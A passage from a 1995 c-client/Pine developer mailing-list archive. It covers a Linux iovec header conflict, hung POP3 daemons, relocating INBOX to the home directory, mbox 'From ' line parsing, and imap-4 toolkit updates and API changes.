c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII My position on this is that Linux's definition is still wrong. The iov_base element in this struct is caddr_t or char* in every other version of UNIX. What's more, even Linux agrees that the buffer for write() is a char* Apparently, socket.h is the guilty party responsible for including uio.h, since c-client itself does not include it. My suggestion is to write a "#define iovec blurdybloop" "#undef iovec" around the include of socket.h, and continue using the correct definition of iovec as given in the c-client sources. Another possibility is to do "#define _SYS_UIO.H" to prevent uio.h from ever being included (you may need to verify the symbol name). Let me know if either works out. My suggestion is that you report this bad definition of struct iovec as a bug to the people developing Linux. Since writev() is a C library function and not a system call on Linux (or rather, it's in section 3 of the manual instead of section 2), presumably the Linux people include it for compatibility and thus should feel responsible for providing a compatible prototype. From pinedev@shivax2.cac.washington.edu Thu Oct 26 10:27:29 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA01104; Thu, 26 Oct 95 10:27:29 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA19067; Thu, 26 Oct 95 10:27:03 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA19061; Thu, 26 Oct 95 10:27:02 -0700 Received: from localhost by shiva1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA03287; Thu, 26 Oct 95 10:27:01 -0700 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Comments: Northcoast Internet Date: Sun, 1 Oct 1995 18:46:03 -0800 To: pine-bugs-vector@cac.washington.edu From: savetz@northcoast.com (Kevin Savetz) Subject: Hung processes on ipop3 ? Resent-Date: Thu, 26 Oct 1995 10:26:54 -0700 (PDT) Resent-From: David L Miller Resent-To: c-client@cac.washington.edu Resent-Message-Id: Greetings. I've been using the PINE package ipop3/ipop2 daemons on Solaris for many months without trouble. Recently, many of my users have started to complain that they can't get their mail: the pop session starts, but hangs before actually sending the mail. This seems to happen sporadically. My mail server isn't overloaded, but it is in general working harder than it used to. I can't find any pop3 errors in any log files (is there one for this?) but looking for pop3 processes reveals a lot of zombie processes. (The zombies aren't a new thing, but with the new mail hanging, they have begun to concern me.) The daemon is "POP3 3.3(18) w/IMAP2 client". Is there a newer version? Any ideas? Thanks in advance, Kevin Savetz Northcoast Internet $ ps -ef | grep pop root 20853 120 24 13:47:28 ? 0:00 ipop3d saltys 25509 120 58 Sep 29 ? 0:01 ipop3d saltys 22702 120 47 Sep 29 ? 0:00 ipop3d root 5799 120 45 Sep 30 ? 0:00 ipop3d jmacevoy 18339 120 53 23:22:40 ? 0:01 ipop3d aburrow 3763 120 80 Sep 30 ? 0:01 ipop3d jmacevoy 18381 120 51 Sep 30 ? 0:01 ipop3d rdobson 21937 120 53 Sep 29 ? 0:01 ipop3d wkirk 26533 120 61 15:34:20 ? 0:01 ipop3d support 6082 4491 8 18:33:02 pts/15 0:00 grep pop saltys 27226 120 48 Sep 29 ? 0:00 ipop3d saltys 28725 120 49 Sep 29 ? 0:00 ipop3d saltys 1882 120 53 Sep 29 ? 0:01 ipop3d edlydon 8480 120 69 Sep 30 ? 0:01 ipop3d hamilton 29096 120 43 Sep 29 ? 0:00 ipop3d margo90 26006 120 55 Sep 29 ? 0:01 ipop3d crosbie 1888 120 80 05:27:22 ? 0:01 ipop3d hbwater 5564 120 42 Sep 29 ? 0:00 ipop3d tneer 21322 120 70 13:57:50 ? 0:01 ipop3d joeb 9477 120 51 09:43:01 ? 0:01 ipop3d root 4273 120 41 Sep 29 ? 0:00 ipop3d -- +---------------------------------------------------------------------+ | Kevin M. Savetz | | Author, "Your Internet Consultant". Co-Editor, "Internet Unleashed" | | my FAQs/articles/info: http://www.northcoast.com/savetz/ | +---------------------------------------------------------------------+ From pinedev@shivax2.cac.washington.edu Thu Oct 26 16:43:41 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA20390; Thu, 26 Oct 95 16:43:41 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA26913; Thu, 26 Oct 95 16:43:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA26905; Thu, 26 Oct 95 16:43:32 -0700 Received: from localhost by shiva1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA17253; Thu, 26 Oct 95 16:43:31 -0700 Date: Sun, 8 Oct 1995 11:58:42 -0400 (EDT) From: Steve Herber To: pine-bugs-vector@cac.washington.edu Subject: using an INBOX in your $HOME directory... Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Date: Thu, 26 Oct 1995 16:43:21 -0700 (PDT) Resent-From: David L Miller Resent-To: Pine Misc , c-client@cac.washington.edu Resent-Message-Id: Hi, I have been looking at the c-client and imapd sources to try to figure out how to have the INBOX default to a file in the users $HOME directory rather than the common /var/mail/$USER files without success. I have been able to use procmail as my local agent and configure the .pinerc file to look at the new INBOX in the $HOME/mail/INBOX file but I have not yet been able to make imapd and ipop3d look in the $HOME/mail/INBOX file. Any ideas or pointers to someone who has made this work already? Thanks much... Steve Herber herber@wcnet.org Systems Manager or herber@bgnet.bgsu.edu Wood County Free-Net Bowling Green, Ohio From pinedev@shivax2.cac.washington.edu Thu Oct 26 16:45:33 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA20515; Thu, 26 Oct 95 16:45:33 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA29393; Thu, 26 Oct 95 16:45:28 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA29373; Thu, 26 Oct 95 16:45:22 -0700 Received: from localhost by shiva1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA17320; Thu, 26 Oct 95 16:45:21 -0700 Date: Thu, 12 Oct 1995 23:42:38 -0400 (EDT) From: Rich Wales X-Sender: richw@pad.ia.opentext.com To: Pine Developers Subject: Bug (ID 1C0C2): Berkeley "From-space" line recognition Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-57384784-813555758=:21027" Resent-Date: Thu, 26 Oct 1995 16:45:06 -0700 (PDT) Resent-From: David L Miller Resent-To: c-client@cac.washington.edu, Pine Maybe Bugs Resent-Message-Id: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-57384784-813555758=:21027 Content-Type: TEXT/PLAIN; charset=US-ASCII I recently switched over to Pine from a set of e-mail tools I wrote at UCLA several years ago (RDM and SEND -- ask Terry Gray, he'll remember them). It was either that or hack RDM/SEND to be MIME-aware. :-} One problem I encountered while doing the conversion was that Pine's algorithm for detecting Berkeley-style "From-space" message separator lines (the crufty "VALID" macro in c-client/bezerk.h) failed to recog- nize the "From-space" lines used by RDM, for two reasons: (1) There was no space between the hh:mm:ss and the numeric time zone. (2) If the day of the month was less than 10, there was only one space between the month abbreviation and the day of the month. For example: From richw Sun Oct 1 23:38:18-0400 1995 instead of: From richw Sun Oct 1 23:38:18 -0400 1995 I managed to get around this little problem by writing a batch "ex -s" script that converted all the "From-space" lines in my saved mail fold- ers into a format acceptable to Pine. But it would seem to make more sense to modify that "VALID" macro to accept such lines as they are. As an LSJUMB "old fart" (see the dedication for the "VALID" macro), I considered jumping into the fray and changing the macro myself, but I just don't have the time to do so right at the moment. Any possibility this little improvement could be made in 3.92? Rich Wales (richw@opentext.com; formerly richw@mks.com; wales@cs.ucla.edu before that) Kitchener, Ontario, Canada VE3HKZ / WA6SGA --0-57384784-813555758=:21027 Content-Type: TEXT/PLAIN; name="config.txt" Content-ID: Content-Description: Pine Configuration Data ========== struct pine * ========== ui: login = richw, full = Rich Wales home = /u/richw home_dir= /u/richw hostname= pad.ia.opentext.com localdom= ia.opentext.com userdom= opentext.com maildom= opentext.com cur_cntxt= [] cur_fldr= INBOX actual mbox= /u/richw/Inbox/richw msgmap: tot=58, cur=58, del=0, hid=0, exld=0, slct=0, sort=Arrival inbox is mail_stream term type=tfw, ttyname=/dev/tty03, size=50x80, speed=normal ======= Current_val options set ======= personal-name : Rich Wales user-id : richw user-domain : opentext.com inbox-path : Inbox/richw incoming-folders : "admin" Inbox/admin : "author.copy" Inbox/author.copy : "digest" Inbox/digest : "lds" Inbox/lds : "mymail" Inbox/mymail : "news" Inbox/news : "postpone" Inbox/postpone : "privacy" Inbox/privacy : "procmail" Inbox/procmail : "zip" Inbox/zip folder-collections : Mail/[] default-fcc : /u/richw/Inbox/author.copy postponed-folder : /u/richw/Inbox/postpone mail-directory : mail signature-file : .signature address-book : .addressbook feature-list : delete-skips-deleted : enable-aggregate-command-set : enable-alternate-editor-cmd : enable-bounce-cmd : enable-flag-cmd : enable-full-header-cmd : enable-incoming-folders : enable-jump-shortcut : enable-mail-check-cue : enable-suspend : enable-tab-completion : enable-unix-pipe-cmd : expanded-view-of-addressbooks : expanded-view-of-folders : include-text-in-reply : save-will-quote-leading-froms : save-will-advance : show-selected-in-boldface : signature-at-bottom : auto-move-read-msgs saved-msg-name-rule : default-folder fcc-name-rule : default-fcc sort-key : arrival addrbook-sort-rule : fullname-with-lists-last editor : vi use-only-domain-name : no printer : attached-to-ansi standard-printer : lpr last-time-prune-ques : 95.10 last-version-used : 3.91 bugs-fullname : Pine Developers bugs-address : pine-bugs@cac.washington.edu elm-style-save : no header-in-reply : no feature-level : sapling old-style-reply : no save-by-sender : no ======= Command_line_val options set ======= ======= User_val options set (/u/richw/.pinerc) ======= user-domain : opentext.com inbox-path : Inbox/richw incoming-folders : "admin" Inbox/admin : "author.copy" Inbox/author.copy : "digest" Inbox/digest : "lds" Inbox/lds : "mymail" Inbox/mymail : "news" Inbox/news : "postpone" Inbox/postpone : "privacy" Inbox/privacy : "procmail" Inbox/procmail : "zip" Inbox/zip folder-collections : Mail/[] default-fcc : ~/Inbox/author.copy postponed-folder : ~/Inbox/postpone feature-list : delete-skips-deleted : enable-aggregate-command-set : enable-alternate-editor-cmd : enable-bounce-cmd : enable-flag-cmd : enable-full-header-cmd : enable-incoming-folders : enable-jump-shortcut : enable-mail-check-cue : enable-suspend : enable-tab-completion : enable-unix-pipe-cmd : expanded-view-of-addressbooks : expanded-view-of-folders : include-text-in-reply : save-will-quote-leading-froms : save-will-advance : show-selected-in-boldface : signature-at-bottom : auto-move-read-msgs editor : vi last-time-prune-ques : 95.10 last-version-used : 3.91 ======= Global_val options set (/usr/local/lib/pine.conf) ======= inbox-path : inbox default-fcc : sent-mail postponed-folder : postponed-msgs mail-directory : mail signature-file : .signature address-book : .addressbook saved-msg-name-rule : default-folder fcc-name-rule : default-fcc sort-key : arrival addrbook-sort-rule : fullname-with-lists-last use-only-domain-name : no printer : attached-to-ansi standard-printer : lpr bugs-fullname : Pine Developers bugs-address : pine-bugs@cac.washington.edu elm-style-save : no header-in-reply : no feature-level : sapling old-style-reply : no save-by-sender : no ======= Fixed_val options set (NO pine.conf.fixed) ======= ========== Feature settings ========== no-assume-slow-link auto-move-read-msgs no-auto-open-next-unread no-compose-rejects-unqualified-addrs no-compose-sets-newsgroup-without-confirm delete-skips-deleted no-disable-config-cmd no-disable-keyboard-lock-cmd no-disable-password-cmd no-disable-update-cmd enable-aggregate-command-set enable-alternate-editor-cmd no-enable-alternate-editor-implicitly enable-bounce-cmd enable-flag-cmd enable-full-header-cmd enable-incoming-folders enable-jump-shortcut enable-mail-check-cue enable-suspend enable-tab-completion enable-unix-pipe-cmd expanded-view-of-addressbooks expanded-view-of-folders no-expunge-without-confirm no-include-attachments-in-reply no-include-header-in-reply include-text-in-reply no-news-approximates-new-status no-news-post-without-validation no-news-read-in-newsrc-order no-preserve-start-stop-characters no-quell-user-lookup-in-passwd-file no-quit-without-confirm save-will-quote-leading-froms no-save-will-not-delete save-will-advance no-select-without-confirm show-selected-in-boldface signature-at-bottom no-use-current-dir no-use-function-keys --0-57384784-813555758=:21027-- From pinedev@shivax2.cac.washington.edu Thu Oct 26 16:49:12 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA20761; Thu, 26 Oct 95 16:49:12 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA29485; Thu, 26 Oct 95 16:49:08 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA29479; Thu, 26 Oct 95 16:49:06 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (5.65+UW95.02/UW-NDC Revision: 2.27.MRC ) id AA07726; Thu, 26 Oct 95 16:48:58 -0700 Date: Thu, 26 Oct 1995 16:45:18 -0700 (PDT) From: Mark Crispin Subject: re: using an INBOX in your $HOME directory... To: Steve Herber Cc: Pine Misc , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Sun, 8 Oct 1995 11:58:42 -0400 (EDT), Steve Herber wrote: > I have been looking at the c-client and imapd sources to try to figure > out how to have the INBOX default to a file in the users $HOME directory > rather than the common /var/mail/$USER files without success. I have > been able to use procmail as my local agent and configure the .pinerc > file to look at the new INBOX in the $HOME/mail/INBOX file but I have not > yet been able to make imapd and ipop3d look in the $HOME/mail/INBOX file. In c-client's env_unix.c module, look for an instruction that does sprintf (tmp,MAILFILE,myUserName); It may be in function env_init() or in function sysinbox(), depending upon what version of the code you have. Change it to something like: sprintf (tmp,"%s/INBOX",myhomedir ()); and rebuild. From pinedev@shivax2.cac.washington.edu Tue Oct 31 15:06:24 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA10327; Tue, 31 Oct 95 15:06:24 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA04559; Tue, 31 Oct 95 15:06:06 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from smarty.smart.net by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA04553; Tue, 31 Oct 95 15:06:03 -0800 Received: (hutchison@localhost) by smarty.smart.net (8.6.9/8.6.9) id SAA02438; Tue, 31 Oct 1995 18:09:29 -0500 Date: Tue, 31 Oct 1995 18:09:25 -0500 (EST) From: Lee Hutchison To: C-Client-request@cac.washington.edu Cc: C-Client@cac.washington.edu Subject: Returned mail: Cannot send message for 5 days (fwd) Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="LAA20494.815155206/smarty.smart.net" Content-Id: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --LAA20494.815155206/smarty.smart.net Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Please see message re-forwarded to you. lcwh ---------- Forwarded message ---------- Date: Tue, 31 Oct 1995 11:00:06 -0500 From: Mail Delivery Subsystem To: hutchison@smart.net Subject: Returned mail: Cannot send message for 5 days The original message was received at Thu, 26 Oct 1995 11:52:28 -0500 from hutchison@localhost ----- The following addresses had delivery problems ----- C-Client-request@cac.washington.net (unrecoverable error) ----- Transcript of session follows ----- Message could not be delivered for 5 days Message will be deleted from queue ----- Original message follows ----- --LAA20494.815155206/smarty.smart.net Content-Type: MESSAGE/RFC822 Content-ID: Return-Path: hutchison Received: (hutchison@localhost) by smarty.smart.net (8.6.9/8.6.9) id LAA16008; Thu, 26 Oct 1995 11:52:28 -0400 Date: Thu, 26 Oct 1995 11:52:27 -0400 (EDT) From: Lee Hutchison To: C-Client-request@cac.washington.net cc: hutchison@smart.net Subject: Returned mail: Host unknown (Name server: cac: host not found) (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="TAA03261.814662560/smarty.smart.net" Content-ID: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --TAA03261.814662560/smarty.smart.net Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: ---------- Forwarded message ---------- Date: Thu, 26 Oct 1995 11:45:01 -0400 (EDT) From: Lee Hutchison To: C-Client-request@cac.washington.edu Cc: hutchison@smart.net Subject: Returned mail: Host unknown (Name server: cac: host not found) (fwd) ---------- Forwarded message ---------- Date: Wed, 25 Oct 1995 19:09:20 -0400 From: Mail Delivery Subsystem To: hutchison@smart.net Subject: Returned mail: Host unknown (Name server: cac: host not found) The original message was received at Wed, 25 Oct 1995 19:09:09 -0400 from hutchison@localhost ----- The following addresses had delivery problems ----- C-Client-request@cac (unrecoverable error) ----- Transcript of session follows ----- 501 C-Client-request@cac... 550 Host unknown (Name server: cac: host not found) ----- Original message follows ----- --TAA03261.814662560/smarty.smart.net Content-Type: MESSAGE/RFC822 Content-ID: Return-Path: hutchison Received: (hutchison@localhost) by smarty.smart.net (8.6.9/8.6.9) id TAA03258; Wed, 25 Oct 1995 19:09:09 -0400 Date: Wed, 25 Oct 1995 19:09:08 -0400 (EDT) From: Lee Hutchison To: C-Client-request@cac, washington.edu@smart.net cc: hutchison@smart.net Subject: subscribe c-client Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Please i want to subscribe to C-client. Thank you! Lee C. W. Hutchison II. --TAA03261.814662560/smarty.smart.net-- --LAA20494.815155206/smarty.smart.net-- From pinedev@shivax2.cac.washington.edu Fri Nov 17 21:28:04 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA07818; Fri, 17 Nov 95 21:28:04 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA19730; Fri, 17 Nov 95 21:27:48 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA19724; Fri, 17 Nov 95 21:27:46 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA03667; Fri, 17 Nov 95 21:27:45 -0800 Date: Fri, 17 Nov 1995 20:37:34 -0800 (PST) From: Mark Crispin Subject: important update to imap-4 ALPHA toolkit To: IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII An important update to the imap-4 ALPHA toolkit is now on ftp://ftp.cac.washington.edu/mail/imap-4.ALPHA.tar.Z It includes some critical bugfixes; *ALL* users of the imap-4 ALPHA package are urged to upgrade as soon as possible. One of these bugfixes is to a problem in the IMAP4 server which would cause FETCH commands to UNIX mbox folders to return nothing after a NOOP command (yes, the NOOP command made FETCH commands become a no-op!!). If you had reports that Pine sometimes displayed blank browser lines when using the IMAP4 server, it is this bug. This bug was introduced during imap-4 toolkit development; it is not in the imap-3.6 software for IMAP2bis. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Nov 28 21:57:27 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA25614; Tue, 28 Nov 95 21:57:27 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA22235; Tue, 28 Nov 95 21:54:26 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA22229; Tue, 28 Nov 95 21:54:24 -0800 Received: from tomobiki-cho.cac.washington.edu by mailhost2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA16159; Tue, 28 Nov 95 21:54:23 -0800 Date: Tue, 28 Nov 1995 21:54:23 -0800 (PST) From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: today's imap-4 toolkit Message-Id: Organization: Networks & Distributed Computing Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Today's version of the imap-4 toolkit, ftp://ftp.cac.washington.edu/mail/imap-4.ALPHA.tar.Z has a number of important changes. Besides the usual batch of bugfixes, there is a new mail_scan() function that uses a new extension to IMAP4 called SCAN. SCAN is like LIST, only it takes a fourth argument which is a string to scan for in the mailboxes. Only those mailboxes which contain that string are returned by SCAN. Also, there is an INCOMPATIBLE CHANGE to mm_login(). The first argument, which was formerly a char* that held either the host name or mailbox name, is now a NETMBX*. Besides the change in what is in this argument, you need to look at the new "user" member of the NETMBX struct, in order to support /user= in the mailbox spec. In other words, you can now open: {foo.bar/user=blurdybloop}garply You need to copy the user member from the NETMBX to the returned user name string. Refer to the source code in mtest.c and/or ms.c to see more details. Coming soon: A new program in imap-utils which will tell you whether or not you have new mail on an IMAP server. mail_sort() and support for a SORT extension in IMAP4. -- Mark -- DoD #0105, R90/6 pilot, FAX: (206) 685-4045 ICBM: N 47 39'35" W 122 18'39" Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Dec 11 11:19:51 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA13566; Mon, 11 Dec 95 11:19:51 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA12557; Mon, 11 Dec 95 11:18:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA12551; Mon, 11 Dec 95 11:18:27 -0800 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA12465; Mon, 11 Dec 95 11:18:18 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA02630; Mon, 11 Dec 95 11:18:07 -0800 Date: Mon, 11 Dec 1995 11:08:04 -0800 (PST) From: Mark Crispin Subject: opinions wanted: sequence strings in c-client To: c-client Interest List Cc: IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII The functions mail_fetchfast_full(), mail_fetchflags_full(), mail_setflag_full(), mail_clearflag_full(), and mail_copy_full() in c-client all take a char* argument which is the IMAP-format sequence string of the message(s) that the operation is to apply to. I am considering a change to this interface. I want to remove this argument, and instead require that the main program light the "sequence" bit in the elt (from mail_elt()) for the associated message. I believe that this would ultimately be easier on the main program. It would eliminate the need to have a sequence number buffer of indeterminate length. The only time c-client really needs it as a string is for IMAP. In many cases, the main program is obliged to build the string only to have c-client tear it apart to lit sequence bits in the elt. Even in the IMAP case, the main program is capable of generating godzilla and/or silly sequence strings which may be too long for some IMAP servers. The old IMAP2 names (without the "_full" suffix) will retain the old interface for compatibility. I will, however, change the IMAP4 interfaces so any programs which use the new interfaces will have to be changed. If you object to this change, please let me know ASAP and state why. Note that I do not consider the IMAP4 interface to be finalized, but it's happening soon it's "now or never" in terms of changing it. From pinedev@shivax2.cac.washington.edu Mon Dec 11 11:34:42 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA14564; Mon, 11 Dec 95 11:34:42 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA11234; Mon, 11 Dec 95 11:31:13 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from unknown.netscape.com by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA11228; Mon, 11 Dec 95 11:31:10 -0800 Received: from jimi-hendrix ([198.93.94.40]) by jimi-hendrix.mcom.com (Netscape Mail Server v1.1) with SMTP id AAA5050; Mon, 11 Dec 1995 11:29:31 -0700 Date: Mon, 11 Dec 1995 11:29:31 -0800 (PST) From: Mike Macgirvin Reply-To: Mike Macgirvin Subject: Re: opinions wanted: sequence strings in c-client To: Mark Crispin Cc: c-client Interest List , IMAP Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > I am considering a change to this interface. I want to remove this > argument, and instead require that the main program light the "sequence" > bit in the elt (from mail_elt()) for the associated message. No objection. It makes life (much) easier in my case. From pinedev@shivax2.cac.washington.edu Mon Dec 11 13:40:03 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA21415; Mon, 11 Dec 95 13:40:03 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA15032; Mon, 11 Dec 95 13:38:46 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mercury.Sun.COM by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA15009; Mon, 11 Dec 95 13:38:24 -0800 Received: from Eng.Sun.COM by mercury.Sun.COM (Sun.COM) id NAA23699; Mon, 11 Dec 1995 13:24:27 -0800 Received: from hape.eng.sun.com (hape-105.Eng.Sun.COM) by Eng.Sun.COM (5.x/SMI-5.3) id AA01625; Mon, 11 Dec 1995 13:24:24 -0800 Received: from roam by hape.eng.sun.com (5.x/SMI-SVR4) id AA08567; Mon, 11 Dec 1995 13:24:23 -0800 Date: Mon, 11 Dec 1995 13:19:17 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: opinions wanted: sequence strings in c-client To: Mark Crispin , Mike Macgirvin Cc: c-client Interest List , IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > I am considering a change to this interface. I want to remove this > argument, and instead require that the main program light the "sequence" > bit in the elt (from mail_elt()) for the associated message. Well, I like the sequence idea, and will need to stick with it. I've made tons of changes in both mail.c and imap4.c as well as other c-client routines for disconnected mail processing, etc, that use all kinds of sequences. So, I have to vote NO. Too much work and too many deadlines to undo it. Bill From pinedev@shivax2.cac.washington.edu Mon Dec 11 14:59:55 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA24857; Mon, 11 Dec 95 14:59:55 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA19358; Mon, 11 Dec 95 14:59:32 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA19352; Mon, 11 Dec 95 14:59:31 -0800 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA12938; Mon, 11 Dec 95 14:59:22 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA03322; Mon, 11 Dec 95 14:59:14 -0800 Date: Mon, 11 Dec 1995 14:52:04 -0800 (PST) From: Mark Crispin Subject: Re: opinions wanted: sequence strings in c-client To: Bill Yeager Cc: Mike Macgirvin , c-client Interest List , IMAP Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Bill - Do you feel this way even given that mail_sequence() and mail_uid_sequence() exist? Do you use extensive UID sequence lists or ranges? From pinedev@shivax2.cac.washington.edu Mon Dec 11 15:05:51 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA25304; Mon, 11 Dec 95 15:05:51 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA19639; Mon, 11 Dec 95 15:05:42 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mercury.Sun.COM by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA19609; Mon, 11 Dec 95 15:05:23 -0800 Received: from Eng.Sun.COM by mercury.Sun.COM (Sun.COM) id PAA23262; Mon, 11 Dec 1995 15:05:22 -0800 Received: from caribe.eng.sun.com by Eng.Sun.COM (5.x/SMI-5.3) id AA21771; Mon, 11 Dec 1995 15:05:19 -0800 Received: from yao ([129.146.85.251]) by caribe.eng.sun.com (5.x/SMI-SVR4) id AA14571; Mon, 11 Dec 1995 15:04:59 -0800 Date: Mon, 